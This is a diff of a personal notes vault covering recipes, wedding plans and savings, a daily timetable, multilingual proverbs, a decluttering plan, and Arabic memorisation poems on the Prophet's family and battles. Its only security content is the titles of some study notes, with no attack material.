- [ ] Class 3
|
||||
|
||||
## Links
|
||||
- https://search.brave.com/search?q=ravenscar+coastal+walk
|
||||
54
Index.md
@@ -3,7 +3,6 @@ note type:
|
||||
- dashboard
|
||||
date: 2026-06-03
|
||||
---
|
||||
|
||||
# Vault Dashboard
|
||||
|
||||
> Start here, then jump into the part of the vault that needs attention.
|
||||
@@ -12,33 +11,15 @@ date: 2026-06-03
|
||||
|
||||
## Quick Launch
|
||||
|
||||
| Area | Open | Use it for |
|
||||
| --- | --- | --- |
|
||||
| Daily | [[Daily Notes]] | Journal entries, plans, and day-to-day capture |
|
||||
| Career | [[Career MOC]] | Software engineering, interviews, work notes, and resources |
|
||||
| Books | [[Books MOC]] | Book notes, recommendations, and reading backlog |
|
||||
| Articles | [[Articles MOC]] | Article notes and reading pipeline |
|
||||
| Emacs | [[Emacs MOC]] | Packages, config, workflows, and references |
|
||||
|
||||
## Focus Areas
|
||||
|
||||
| Track | Key notes |
|
||||
| --- | --- |
|
||||
| Career growth | [[Job applications]] · [[Concepts]] · [[Design Patterns]] · [[Solid Principles]] · [[Test Driven Development]] |
|
||||
| Backend and APIs | [[Restful API]] · [[API Architecture]] · [[ASP.NET Core Web API Fundamental Notes]] |
|
||||
| Databases | [[Database MOC]] · [[SQL Joins]] · [[Postgres]] · [[Airflow]] |
|
||||
| Security | [[OWASP Top 10]] · [[Cross Site Scripting (XSS)]] · [[Server-Side Request Forgery (SSRF)]] · [[Output Encoding]] |
|
||||
| AI | [[AI Moc]] · [[AI - Codex]] · [[Data camp AI training]] |
|
||||
| Microlise | [[Microlise MOC]] · [[ESS ESP Index]] · [[Session Stored XSS PENTEST]] |
|
||||
|
||||
## Recent Daily Notes
|
||||
|
||||
```dataview
|
||||
LIST
|
||||
FROM "Dailies"
|
||||
SORT file.name DESC
|
||||
LIMIT 7
|
||||
```
|
||||
| Area | Open | Use it for |
|
||||
| ----------- | ---------------- | ----------------------------------------------------------- |
|
||||
| Daily | [[Daily Notes]] | Journal entries, plans, and day-to-day capture |
|
||||
| Career | [[Career MOC]] | Software engineering, interviews, work notes, and resources |
|
||||
| Books | [[Books MOC]] | Book notes, recommendations, and reading backlog |
|
||||
| Articles | [[Articles MOC]] | Article notes and reading pipeline |
|
||||
| Emacs | [[Emacs MOC]] | Packages, config, workflows, and references |
|
||||
| Concepts | [[Concepts]] | Career concepts |
|
||||
| z resources | [[z resources]] | Resources |
|
||||
|
||||
## Active Reading
|
||||
|
||||
@@ -59,20 +40,3 @@ WHERE file.name != "Index"
|
||||
SORT file.mtime DESC
|
||||
LIMIT 12
|
||||
```
|
||||
|
||||
## Capture
|
||||
|
||||
- New daily note: [[2026-06-03]]
|
||||
- Reading inbox: [[Book Recs]] · [[Substack Articles]]
|
||||
- Work inbox: [[Job applications]] · [[Pre work prep]]
|
||||
- Ideas and concepts: [[Concepts]]
|
||||
|
||||
## Vault Map
|
||||
|
||||
| Shelf | Notes |
|
||||
| --- | ---: |
|
||||
| Career | `$= dv.pages('"Career"').length` |
|
||||
| Books | `$= dv.pages('"Books"').length` |
|
||||
| Articles | `$= dv.pages('"Articles"').length` |
|
||||
| Technical | `$= dv.pages('"Technical"').length` |
|
||||
| Dailies | `$= dv.pages('"Dailies"').length` |
|
||||
|
||||
5
Non Technical/20250717230336-recipes_moc.md
Executable file
@@ -0,0 +1,5 @@
|
||||
# [Recipes Cookbook](id:b31d6c3f-9bc3-4006-aaaf-d56168249e3a)
|
||||
|
||||
# [Recipe Ideas](id:F7D68FF4-CAD0-4791-BAE4-AC20B84A8785)
|
||||
|
||||
# [Recipes Done](id:EA93341B-20C0-48A2-BD88-F24ED3C540DA)
|
||||
59
Non Technical/20250719174944-recipes_ideas.md
Executable file
@@ -0,0 +1,59 @@
|
||||
# Spiced Potato & Pea Quesadillas
|
||||
|
||||
Prep time: 20 min
|
||||
Ingredients:
|
||||
|
||||
Boiled potatoes, mashed
|
||||
|
||||
Frozen peas
|
||||
|
||||
Cumin, coriander, chili flakes
|
||||
|
||||
Tortilla wraps
|
||||
Method:
|
||||
|
||||
Mix mashed potatoes, peas, and spices.
|
||||
|
||||
Spread mixture on a tortilla, top with another.
|
||||
|
||||
Toast in a pan until crispy on both sides.
|
||||
|
||||
# Chickpea Pilaf
|
||||
|
||||
Prep time: 25 min
|
||||
Ingredients:
|
||||
|
||||
Cooked rice
|
||||
|
||||
Canned chickpeas
|
||||
|
||||
Onion, garlic, cumin, cinnamon
|
||||
|
||||
Optional: raisins or almonds
|
||||
Method:
|
||||
|
||||
Sauté onion, garlic, spices.
|
||||
|
||||
Stir in chickpeas, then rice.
|
||||
|
||||
Heat through, serve with yogurt.
|
||||
|
||||
# Lentil Soup with Flatbread
|
||||
|
||||
Prep time: 25 min
|
||||
Ingredients:
|
||||
|
||||
Red lentils
|
||||
|
||||
Onion, garlic, carrot
|
||||
|
||||
Cumin, turmeric, black pepper
|
||||
|
||||
Vegetable stock
|
||||
Method:
|
||||
|
||||
Sauté onion, garlic, and carrot.
|
||||
|
||||
Add spices and lentils. Pour in stock.
|
||||
|
||||
Simmer until soft, then blend if preferred.
|
||||
27
Non Technical/20250719175023-recipes_done.md
Executable file
@@ -0,0 +1,27 @@
|
||||
# Done:
|
||||
|
||||
## \<2025-07-17 Thu\>
|
||||
|
||||
<https://spainonafork.com/healthy-creamy-tuna-wraps-recipe/>
|
||||
|
||||
Instead of 1 clove fresh garlic, i used 1/4 teaspoon garlic granules.
|
||||
Also used lime juice instead of lemon juice
|
||||
need to work on plating (put too much salad, its better to cut the tomatos in smaller chunks and the salad in smaller pieces)
|
||||
|
||||
## \<2025-07-18 Fri\>
|
||||
|
||||
<https://www.youtube.com/watch?v=wiKndVvU_Ks&list=LL&index=2&ab_channel=BrownGirlsKitchen>
|
||||
|
||||
Dont use plastic sieve (as boiled water goes on it when extracting the potatos)
|
||||
|
||||
use low heat when toasting the wraps
|
||||
|
||||
served 3 large sized wraps (maybe use taco wraps next time)
|
||||
|
||||
## \<2025-07-19 Sat\>
|
||||
|
||||
<https://www.youtube.com/watch?v=3d6DrdOEuY4&list=LL&index=1&ab_channel=FoodFusion>
|
||||
|
||||
WASH HANDS AFTER TOUCHING GREEN CHILLI.
|
||||
|
||||
juilienne : cutting the garlic into small strips
|
||||
7
Non Technical/20250918120706-wedding_moc.md
Executable file
@@ -0,0 +1,7 @@
|
||||
# Important dates
|
||||
|
||||
## Engagement Day: \<2025-10-26 Sun\> 3pm-6pm
|
||||
|
||||
## Nikah / Barat: \<2026-08-02 Sun\>
|
||||
|
||||
## Walima: \<2026-08-09 Sun\>
|
||||
10
Non Technical/20260107182221-2026_targets.md
Executable file
@@ -0,0 +1,10 @@
|
||||
# Reading:
|
||||
|
||||
- 20 books
|
||||
- 100 articles of medium size
|
||||
|
||||
## Agile Testing
|
||||
|
||||
## Head first into design patterns
|
||||
|
||||
## Code Complete
|
||||
3
Non Technical/20260211114817-personal_operating_system.md
Executable file
@@ -0,0 +1,3 @@
|
||||
- [Timetable](id:fc92a943-61ac-462a-b6e5-8be46069f2ca)
|
||||
|
||||
# Personal Operating System
|
||||
22
Non Technical/20260211124505-timetable.md
Executable file
@@ -0,0 +1,22 @@
|
||||
# Non-Ramadan — Weekdays
|
||||
|
||||
| | | |
|
||||
| ----------- | ------------- | ---------------------------------------------------------- |
|
||||
| Time | Focus | Details |
|
||||
| 06:30–08:00 | Morning (Dīn) | Fajr, Istighfār, Durood, Qurʾān (1.5 Juz), mobility / walk |
|
||||
| 08:00–16:30 | Work | Work blocks with intention |
|
||||
| 16:30–17:15 | Reset | Light food, walk, dhikr |
|
||||
| 17:30–22:30 | Evening | Commute + Alimiyyah classes |
|
||||
| 22:30–23:00 | Night | Remaining Durood, reflection, plan tomorrow, sleep |
|
||||
|
||||
\*Note\*: If the day is Tuesday or Thursday, then we take an hour lunch and go to the gym.
|
||||
|
||||
# Non-Ramadan — Weekends
|
||||
|
||||
| | | |
|
||||
| ------------ | ----------- | ------------------------------------------------- |
|
||||
| Time | Focus | Details |
|
||||
| Morning | Dīn | Fajr, full awrād, extended Qurʾān / reading |
|
||||
| Before Class | Body | Workout |
|
||||
| 11:00–14:00 | Alimiyyah | Classes |
|
||||
| Evening | Nourishment | Arabic/English reading, calligraphy, family, rest |
|
||||
37
Non Technical/20260307165727-proverbs.md
Executable file
@@ -0,0 +1,37 @@
|
||||
# Arabic
|
||||
|
||||
# French
|
||||
|
||||
## \<2026-03-06 Fri\>: écriture comme les mouches
|
||||
|
||||
L'expression « écriture comme les mouches » est une forme figurée pour décrire une écriture très petite, fine, difficile à lire, souvent qualifiée de « pattes de mouche ».
|
||||
|
||||
# English
|
||||
|
||||
# Urdu
|
||||
|
||||
## \<2026-03-07 Sat\>: "یک نہ شود دو شود" (Yak na shud, do shud)
|
||||
|
||||
Literal Meaning:
|
||||
"One didn't happen, two happened."
|
||||
|
||||
Interpretation:
|
||||
It's used when someone fails to achieve one thing and ends up with an even bigger problem or loss — essentially, adding insult to injury. Instead of just missing out on one thing, they end up worse off than before.
|
||||
|
||||
## \<2026-03-08 Sun\>: [Link to a bunch of proverbs](https://www.urdupod101.com/blog/2021/06/10/best-urdu-proverbs/)
|
||||
|
||||
# Latin
|
||||
|
||||
## \<2026-03-31 Tue 13:04\>: “mens sana in corpore sano”
|
||||
|
||||
Translates to “a healthy mind in a healthy body.”
|
||||
|
||||
# Japanese
|
||||
|
||||
## \<2026-04-01 Wed 16:04\>: Nana korobi ya oki 七転び⼋起き
|
||||
|
||||
Fall seven times, rise eight.
|
||||
|
||||
## \<2026-04-01 Wed 16:41\>: ichi-go ichi-e
|
||||
|
||||
“This moment exists only now and won’t come again.”
|
||||
71
Non Technical/20260307233451-recipes_cookbook.md
Executable file
@@ -0,0 +1,71 @@
|
||||
# Dinner
|
||||
|
||||
## Crispy Honey Chili Chicken <span class="tag" data-tag-name="Chicken_and_Rice"><span class="smallcaps">Chicken\_and\_Rice</span></span> <span class="tag" data-tag-name="Dinner"><span class="smallcaps">Dinner</span></span> <span class="tag" data-tag-name="Family"><span class="smallcaps">Family</span></span>
|
||||
|
||||
| | |
|
||||
| ------------ | ------------------------------------------------------------------------------------- |
|
||||
| **Category** | Dinner |
|
||||
| **Keywords** | Chicken and Rice,Dinner,Family |
|
||||
| **Created** | 2026-03-29 |
|
||||
| **Modified** | 2026-03-29 |
|
||||
| **Cooked** | \<2026-03-29 Sun\> |
|
||||
| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/42649) |
|
||||
|
||||
**Tips:** Use the lal mirch flakes (chilly flakes), and only use 2 spoons of those (tsp) - perfect spice level
|
||||
|
||||
# Lunch
|
||||
|
||||
## Chicken Rice Meal Prep <span class="tag" data-tag-name="Chicken"><span class="smallcaps">Chicken</span></span> <span class="tag" data-tag-name="Chicken_and_Rice"><span class="smallcaps">Chicken\_and\_Rice</span></span> <span class="tag" data-tag-name="Lunch"><span class="smallcaps">Lunch</span></span> <span class="tag" data-tag-name="Rice"><span class="smallcaps">Rice</span></span>
|
||||
|
||||
| | |
|
||||
| ------------ | ------------------------------------------------------------------------------------- |
|
||||
| **Category** | Lunch |
|
||||
| **Keywords** | Chicken,Chicken and Rice,Lunch,Rice |
|
||||
| **Created** | 2026-03-08 |
|
||||
| **Modified** | 2026-03-08 |
|
||||
| **Cooked** | \<2026-03-08 Sun\> |
|
||||
| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/23153) |
|
||||
|
||||
## Healthy CREAMY Tuna Wraps <span class="tag" data-tag-name="Lunch"><span class="smallcaps">Lunch</span></span> <span class="tag" data-tag-name="Tuna"><span class="smallcaps">Tuna</span></span>
|
||||
|
||||
| | |
|
||||
| ------------ | ------------------------------------------------------------------------------------- |
|
||||
| **Category** | Lunch |
|
||||
| **Keywords** | Lunch,Tuna |
|
||||
| **Created** | 2026-03-07 |
|
||||
| **Modified** | 2026-03-08 |
|
||||
| **Cooked** | \<2025-07-17 Thu\> |
|
||||
| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/23133) |
|
||||
|
||||
## High Protein Tuna Salad <span class="tag" data-tag-name="Lunch"><span class="smallcaps">Lunch</span></span> <span class="tag" data-tag-name="Tuna"><span class="smallcaps">Tuna</span></span>
|
||||
|
||||
| | |
|
||||
| ------------ | ------------------------------------------------------------------------------------- |
|
||||
| **Category** | Lunch |
|
||||
| **Keywords** | Lunch,Tuna |
|
||||
| **Created** | 2026-02-23 |
|
||||
| **Modified** | 2026-03-08 |
|
||||
| **Cooked** | *not yet made* |
|
||||
| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/21929) |
|
||||
|
||||
## One Pot Chicken and Rice Recipe <span class="tag" data-tag-name="Chicken"><span class="smallcaps">Chicken</span></span> <span class="tag" data-tag-name="Chicken_and_Rice"><span class="smallcaps">Chicken\_and\_Rice</span></span> <span class="tag" data-tag-name="Lunch"><span class="smallcaps">Lunch</span></span> <span class="tag" data-tag-name="One_Pot"><span class="smallcaps">One\_Pot</span></span> <span class="tag" data-tag-name="Rice"><span class="smallcaps">Rice</span></span>
|
||||
|
||||
| | |
|
||||
| ------------ | ------------------------------------------------------------------------------------- |
|
||||
| **Category** | Lunch |
|
||||
| **Keywords** | Chicken,Chicken and Rice,Lunch,One Pot,Rice |
|
||||
| **Created** | 2026-03-08 |
|
||||
| **Modified** | 2026-03-08 |
|
||||
| **Cooked** | *not yet made* |
|
||||
| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/23167) |
|
||||
|
||||
## Potato Peas Quesadilla <span class="tag" data-tag-name="Lunch"><span class="smallcaps">Lunch</span></span> <span class="tag" data-tag-name="Peas"><span class="smallcaps">Peas</span></span> <span class="tag" data-tag-name="Potato"><span class="smallcaps">Potato</span></span> <span class="tag" data-tag-name="Quesadilla"><span class="smallcaps">Quesadilla</span></span>
|
||||
|
||||
| | |
|
||||
| ------------ | ------------------------------------------------------------------------------------- |
|
||||
| **Category** | Lunch |
|
||||
| **Keywords** | Lunch,Peas,Potato,Quesadilla |
|
||||
| **Created** | 2026-03-07 |
|
||||
| **Modified** | 2026-03-08 |
|
||||
| **Cooked** | \<2025-07-18 Fri\> |
|
||||
| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/23144) |
|
||||
29
Non Technical/20260407121857-finances.md
Executable file
@@ -0,0 +1,29 @@
|
||||
# Payslips
|
||||
|
||||
| Month | Amount |
|
||||
| ------------- | -------- |
|
||||
| October 2025 | 1994.61 |
|
||||
| November 2025 | 2058.30 |
|
||||
| December 2025 | 2153.84 |
|
||||
| January 2026 | 2259.99 |
|
||||
| February 2026 | 2383.04 |
|
||||
| March 2026 | 2083.64 |
|
||||
| April 2026 | 2080.44 |
|
||||
| Total | 15013.86 |
|
||||
|
||||
# Walimah Hall:
|
||||
|
||||
## Details
|
||||
|
||||
£2800 for both halls and security deposit.
|
||||
£1000 for the decor.
|
||||
£10 per head for food, so £3000 for 300 people.
|
||||
Total: £6800
|
||||
|
||||
## \<2026-04-07 Tue\>: £4525 saved. Left to save: £2275.
|
||||
|
||||
Predictions: Should take 2 more salaries to save. £1500 in the first month, and £775 in the second month. 2000 - 775 = 1225, which is the amount left over after the second month.
|
||||
|
||||
In May: £1500
|
||||
In June: £1500 + £1700 = £3200
|
||||
In July: £3200 + £1700 = £4900
|
||||
55
Non Technical/20260410154301-decluttering_plan.md
Executable file
@@ -0,0 +1,55 @@
|
||||
# Intro
|
||||
|
||||
Right now life feels extremely cluttered. I have a lot of things that I want to do, but don't know where to begin, or what tools to use.
|
||||
|
||||
This clutter comes in my technical life and my personal life. In terms of technical life, my computer is a mess, files are everywhere, and Emacs config is also a mess. I have 4 devices that I mainly use, and I need to have a set standard for how I organise things.
|
||||
|
||||
Google chrome is a mess. I have over 200 tabs open.
|
||||
|
||||
My photos in my phone are a mess.
|
||||
|
||||
My files in my phone are a mess.
|
||||
|
||||
My notes in my phone are a mess.
|
||||
|
||||
My notes in Emacs are a mess.
|
||||
|
||||
In terms of personal life, my room is a mess.
|
||||
|
||||
I want to also sort out my spiritual aspect of life.
|
||||
|
||||
I plan on clocking out of work at 4PM today (and also every day). That would mean I have 30 minutes of lunch break, and 1.5 hours before the next phase of the day begins. So all in all, I will use from 4-4:45 every day to do something meaningful.
|
||||
|
||||
# How to begin this decluttering phase?
|
||||
|
||||
## <span class="done DONE">DONE</span> Emacs
|
||||
|
||||
Okay so for Emacs Config, I won't meddle with the work laptop, because that has it's own use case. I will rarely be using the one in the server, which leaves me with my main PC and macbook. These two need to be identical (spend 1h on weekend fixing this).
|
||||
|
||||
That will be Emacs all sorted.
|
||||
|
||||
## <span class="todo TODO">TODO</span> Windows
|
||||
|
||||
Now as for the files on the windows PC, I need to go through all the photos and centralise them into one folder.
|
||||
All documents need to be centralised into one folder.
|
||||
Anything else needs to be archived.
|
||||
|
||||
This will take a while
|
||||
|
||||
## <span class="done DONE">DONE</span> Linux
|
||||
|
||||
- Clean up generally (1h this weekend)
|
||||
|
||||
## Mac cleanup
|
||||
|
||||
### <span class="todo TODO">TODO</span> Photos
|
||||
|
||||
### <span class="done DONE">DONE</span> Files
|
||||
|
||||
## <span class="todo TODO">TODO</span> Physical book
|
||||
|
||||
- Any tasks on the weekend, or any spiritual tasks I would like to undertake will be jotted down in a notebook
|
||||
|
||||
## Note
|
||||
|
||||
Any notes that need jotting down will go in the notes file.
|
||||
1219
Non Technical/20260414162623-chrome_tabs_backup.md
Executable file
310
Non Technical/20260420142151-textual_hifz.md
Executable file
@@ -0,0 +1,310 @@
|
||||
[Ibarat](id:3d3c56dc-0327-4e18-a90a-1bc105496243)
|
||||
|
||||
# Plan:
|
||||
|
||||
## Sciences of the Quran & Recitation (Tajwīd)
|
||||
|
||||
- Al-Muqaddimah al-Jazariyyah (Ibn al-Jazarī) — the foundational tajwīd poem
|
||||
- Tuhfat al-Aṭfāl (al-Jamzūrī) — tajwīd rules in verse
|
||||
- Al-Shāṭibiyyah (for those advancing to the Ten Qiraʾāt)
|
||||
|
||||
## Sīrah (Prophetic Biography)
|
||||
|
||||
- Full lineage of the Prophet ﷺ back to ʿAdnān \[-\]
|
||||
- Names of his wives (the Mothers of the Believers) (11 in total) \[x\]
|
||||
- Names of his children (sons and daughters, with brief notes on each) \[x\]
|
||||
- His uncles and aunts (especially the notable ones) \[x\]
|
||||
- Names of his grandchildren \[x\]
|
||||
|
||||
****Major Events:****
|
||||
|
||||
- Year of the Elephant, birth, early life in Makkah
|
||||
- First revelation, early Makkan period, the persecution
|
||||
- Isrāʾ wal-Miʿrāj
|
||||
- Hijrah to Madinah — the route and key stops
|
||||
- The Ghazawāt (battles the Prophet ﷺ personally participated in) — commonly counted as 27, with the major ones being:
|
||||
- Badr, Uhud, al-Khandaq (the Trench), Khaybar, Makkah (the Conquest), Ḥunayn, Tāʾif, Tabūk
|
||||
- The Sarāyā (expeditions he ﷺ sent out) — over 50
|
||||
- Dates of major events (Hijrī years)
|
||||
- The farewell pilgrimage (Ḥajjat al-Wadāʿ)
|
||||
- His ﷺ death (11 AH) and burial
|
||||
|
||||
## Misc
|
||||
|
||||
- Al-ʿAqīdah al-Ṭaḥāwiyyah — widely accepted across schools
|
||||
|
||||
- The 99 names of Allah with meanings
|
||||
|
||||
## Usul
|
||||
|
||||
- Al-Manzūmah al-Bayqūniyyah (al-Bayqūnī) — 34 lines covering the types of ḥadīth; essential for every student
|
||||
- Nukhbat al-Fikr (Ibn Ḥajar) — memorize the matn, then study the Nuzhat al-Naẓar commentary
|
||||
|
||||
## Arabic Language
|
||||
|
||||
****Grammar (Naḥw):****
|
||||
|
||||
- Al-Ājurrūmiyyah (Ibn Ājurrūm) — the most widely memorized primer in Arabic grammar
|
||||
|
||||
****Morphology (Ṣarf):****
|
||||
|
||||
- Al-Amthilah al-Mukhtalifah — the verb conjugation tables (the 35 paradigms — critical)
|
||||
- Lāmiyyat al-Afʿāl (Ibn Mālik) — morphology in verse
|
||||
- Al-Binā wal-Asās — common in South Asian tradition
|
||||
|
||||
## Tafsīr & Quranic Sciences
|
||||
|
||||
- Memorize the meanings and contexts of the major surahs (especially al-Fātiḥah, the Mufaṣṣal surahs)
|
||||
- Asbāb al-Nuzūl of commonly cited verses
|
||||
- The Makkan vs Madinan distinction and its significance
|
||||
- The seven aḥruf and the ten qiraʾāt (at least conceptually)
|
||||
- Nāsikh and mansūkh — key examples
|
||||
|
||||
## Tārīkh (Islamic History — Beyond Sīrah)
|
||||
|
||||
- The Rightly-Guided Caliphs: their reigns, key events, dates
|
||||
- The Umayyad and Abbasid Caliphates — major rulers and turning points
|
||||
- The major scholars of each era (ṭabaqāt al-ʿulamāʾ)
|
||||
- The lineages of the four Imāms
|
||||
- Key dates: Battle of Yarmūk (636), fall of Baghdad (1258), fall of Andalus (1492), fall of the Ottoman Caliphate (1924)
|
||||
|
||||
## Biographical Knowledge (Rijāl)
|
||||
|
||||
- The ten promised Paradise (al-ʿAsharah al-Mubashsharūn) — names and brief biographies
|
||||
- The major Companions: Abū Bakr, ʿUmar, ʿUthmān, ʿAlī, Ibn Masʿūd, Ibn ʿAbbās, Ibn ʿUmar, ʿĀʾishah, Abū Hurayrah, Anas ibn Mālik, Muʿādh ibn Jabal, etc.
|
||||
- The major Tābiʿīn: al-Ḥasan al-Baṣrī, Ibn Sīrīn, Saʿīd ibn al-Musayyib, etc.
|
||||
- The four Imāms of fiqh — full names, birth/death dates, teachers, students
|
||||
- Major scholars of hadith: al-Bukhārī, Muslim, Abū Dāwūd, al-Tirmidhī, al-Nasāʾī, Ibn Mājah (the authors of the Kutub al-Sittah) and their basic biographies
|
||||
- Al-Dhahabī, Ibn Ḥajar, al-Nawawī, Ibn Qudāmah, Ibn Taymiyyah, Ibn Kathīr — who they were and their key works
|
||||
|
||||
# Children
|
||||
|
||||
## Poem 1
|
||||
|
||||
لَقَبَانِ زِيَادَةً عَلَى الِاسْمِ وَالْقَاسِمُ، وَإِبْرَاهِيمُ وَالْإِنَاثُ أَرْبَعَةٌ زَيْنَبُ وَرُقَيَّةُ وَأُمُّ كُلْثُومٍ وَفَاطِمَةُ وَيَنْبَغِي حِفْظُهُمْ وَمَعْرِفَتُهُمْ لِأَنَّ النَّبِيَّ ﷺ سَيِّدُنَا وَيَقْبُحُ عَلَى الْإِنْسَانِ أَنْ لَا يَعْرِفَ أَوْلَادَ سَيِّدِهِ اهـ وَكُلُّهُمْ مِنْ خَدِيجَةَ إلَّا إبْرَاهِيمَ فَمِنْ مَارِيَةَ الْقِبْطِيَّةِ أَهْدَاهَا لَهُ الْمُقَوْقَسُ مِنْ مِصْرَ اهـ.
|
||||
|
||||
وَقَدْ جَمَعْتُ أَوْلَادَهُ ﷺ فِي قَوْلِي لِيَسْهُلَ حِفْظُهُمْ:
|
||||
|
||||
أَوْلَادُ طَه سَبْعَةٌ أَطْهَارٌ … ذُكُورُهُمْ ثَلَاثَةٌ أَبْرَارُ
|
||||
|
||||
الْقَاسِمُ إبْرَاهِيمُ عَبْدُ اللَّهِ ذَا … بِالطَّيِّبِ الطَّاهِرِ تَلْقِيبًا خُذَا
|
||||
|
||||
وَأَرْبَعٌ إنَاثُهُمْ فَاطِمَةُ … فَأُمُّ كُلْثُومٍ كَذَا رُقَيَّةُ
|
||||
|
||||
## Poem 2
|
||||
|
||||
اولادهُ فسبعةٌ. بناتهُ اربعةٌ ️ فزينبُ في الأولي. وام كُلثوم تلي
|
||||
|
||||
رقيةٌ وبعدها. فاطمةٌ ختامُها
|
||||
|
||||
أما الذكورُ انهم. فقاسمٌ اولهم
|
||||
|
||||
وعبدُ الله الطاهرُ. مع ابراهيمَ اذكرُ
|
||||
|
||||
قد ماتوا في حياتهِ. فاطمةٌ من بعدهِ
|
||||
|
||||
# Wives
|
||||
|
||||
## Poem 1
|
||||
|
||||
خليلي سبت عقلي حلا زين هالة ……. زهى جفنها رمزا صحيحا مهذبا
|
||||
|
||||
خليلي : خديجة
|
||||
|
||||
سبت : سودة
|
||||
|
||||
عقلي : عائشة
|
||||
|
||||
حلا : حفصة
|
||||
|
||||
زين : زينب بنت خزيمة
|
||||
|
||||
هالة : هند ( أم سلمة )
|
||||
|
||||
زهى : زينب بنت جحش
|
||||
|
||||
جفنها : جويرية
|
||||
|
||||
رمزا : رملة ( أم حبيبة )
|
||||
|
||||
صحيحا : صفية
|
||||
|
||||
مهذبا : ميمونة
|
||||
|
||||
رضي الله عنعن جميعا
|
||||
|
||||
## Poem 2
|
||||
|
||||
زوجاتهُ ﷺإحدى عشر فيما رووهُ واشتهر
|
||||
|
||||
خديجةٌ فسودةٌ. عائشةٌ فحفصةٌ
|
||||
|
||||
وزينبٌ ورملةٌ. ميمونةٌ صفيةٌ
|
||||
|
||||
وهندُ اما التاليه. زوجتهُ جويريه
|
||||
|
||||
بنت خُزْيمٍ زينبُ. وبنت جحشِ زينبُ
|
||||
|
||||
# Uncles and Aunts:
|
||||
|
||||
## Memorise:
|
||||
|
||||
أعمامه ﷺ-: أعمام النبي ﷺ أحد عشر رجلًا وهم:
|
||||
|
||||
العباس،
|
||||
|
||||
والزبير،
|
||||
|
||||
وأبو طالب "اسمه عبد مناف"،
|
||||
|
||||
وعبد الكعبة،
|
||||
|
||||
وحمزة،
|
||||
|
||||
والمقُوِّم،
|
||||
|
||||
وحَجْلٌ "اسمه المغيرة"،
|
||||
|
||||
وضرار وقُثَم،
|
||||
|
||||
وأبو لهب "واسمه: عبد العُزى"
|
||||
|
||||
والغَيْداق "اسمه مصعب"،
|
||||
|
||||
لم يُسْلم منهم إلا حمزة والعباس ﵄.
|
||||
|
||||
عمات النبي ﷺ-: عمات النبي ﷺ ست وهن:
|
||||
|
||||
أميمة،
|
||||
|
||||
وأم حكيم،
|
||||
|
||||
وبَرَّة،
|
||||
|
||||
وعاتكة،
|
||||
|
||||
وصفية،
|
||||
|
||||
وأروى.
|
||||
|
||||
(١) زاد المعاد لابن القيم ١/ ١٠٤.
|
||||
|
||||
(٢) سيرة ابن هشام ١/ ١٦٩.
|
||||
|
||||
## Extra:
|
||||
|
||||
أعمامه وعماته وأما أعمام النبي صلى الله عليه وسلم وعماته،
|
||||
|
||||
فإن عبد المطلب بن هاشم كان له من الولد لصلبه عشرة من الذكور وست من الإناث، وأسماء بنيه:
|
||||
|
||||
عبد الله، والد النبي عليه الصلاة والسلام؛
|
||||
|
||||
والزبير؛
|
||||
|
||||
وأبو طالب، واسمه عبد مناف؛
|
||||
|
||||
والعباس؛
|
||||
|
||||
وضرار؛
|
||||
|
||||
وحمزة؛
|
||||
|
||||
والمقوم؛
|
||||
|
||||
وأبو لهب،واسمه عبد العزى؛
|
||||
|
||||
والحارث
|
||||
|
||||
والغيداق، واسمه حجل، ويقال نوفل.
|
||||
|
||||
أسماء بناته عمات النبي صلى الله عليه وسلم:
|
||||
|
||||
عاتكة،
|
||||
|
||||
والبيضاء،وهي أم حكيم
|
||||
|
||||
وبرة؛
|
||||
|
||||
وأميمة؛
|
||||
|
||||
وأروى؛
|
||||
|
||||
وصفية.
|
||||
|
||||
ولد النبي صلى الله عليه وسلم ولد له من خديجة: القاسم، والطيب، وفاطمة، وزينب، ورقية، وأم كلثوم.وولد له من مارية القبطية: إبراهيم، فجميع ولده من خديجة، غير إبراهيم.
|
||||
|
||||
# Grandchildren:
|
||||
|
||||
## Ahfaad:
|
||||
|
||||
أحفاد النبي ﷺ-: أحفاده ﷺ ستة وهم:
|
||||
|
||||
أُمامة بنت أبي العاص بن الربيع وأمها زينب بنت النبي ﷺ،
|
||||
|
||||
وعبد الله بن عثمان بن عفان وأمه رقية بنت النبي ﷺ،
|
||||
|
||||
والحسن والحسين، وزينب، وأم كلثوم، وهم جميعًا أبناء علي بن أبي طالب وأمهم فاطمة بنت النبي ﷺ.
|
||||
|
||||
# Battles:
|
||||
|
||||
## Poem:
|
||||
|
||||
غزواتهُ فيما ذُكر. وما رووهُ واشتُهر
|
||||
|
||||
غزوةُ بدرٍ وانتصر فيها النبي وانكسر
|
||||
|
||||
جيشٌ لإهل مكه. في رمضان دكه
|
||||
|
||||
وبعدُها الجيشُ انهزمْ في احدٍ وماسَلَم
|
||||
|
||||
ُّجَّل الرماة نزلوا. وامرهِ ماامتثلوا
|
||||
|
||||
فكانت الهزيمه. شديدةٍ اليمه
|
||||
|
||||
اتت بنو النظيرِ. بالعملِ الحقيرِ
|
||||
|
||||
وهمو بالغدرِ كما. عن قومهِ قد عُلمَ
|
||||
|
||||
نبينا اجلاهموُ. للشام قد نفاهمُ
|
||||
|
||||
وبعدها الاحزابُ. في سعيهم قد خابوا
|
||||
|
||||
وابصروا المدينه. بخندقٍ حصينه
|
||||
|
||||
وجيشهم تراجعا. بالريحِ والرعبِ معا
|
||||
|
||||
قد نقضت قريظه. عهودها العريضه
|
||||
|
||||
إذ حالفوا الاحزابَا. وجانبوا الصوابا
|
||||
|
||||
فقتِّلو لغدرهِم. وخبثِهم ومكرهم
|
||||
|
||||
وبعدها الحديبية. فكانَ صلحاً قاضياً
|
||||
|
||||
بنودَهُ قد شُهرت. وبالعهودِ سُطِرت
|
||||
|
||||
وبعدها فخيبرُ. قد خرَبت واندحروا
|
||||
|
||||
وخانت اليهودُ. وضاعتْ العهودُ
|
||||
|
||||
وبعدها في مكةَ. فتحٌ عظيمٌ اثبتا
|
||||
|
||||
أُبيحَ للمختارِ. وقتاً منَ النهارِ
|
||||
|
||||
وجاءَ جيشُ اللهِ. يُذِلُ كلَ لاهِ
|
||||
|
||||
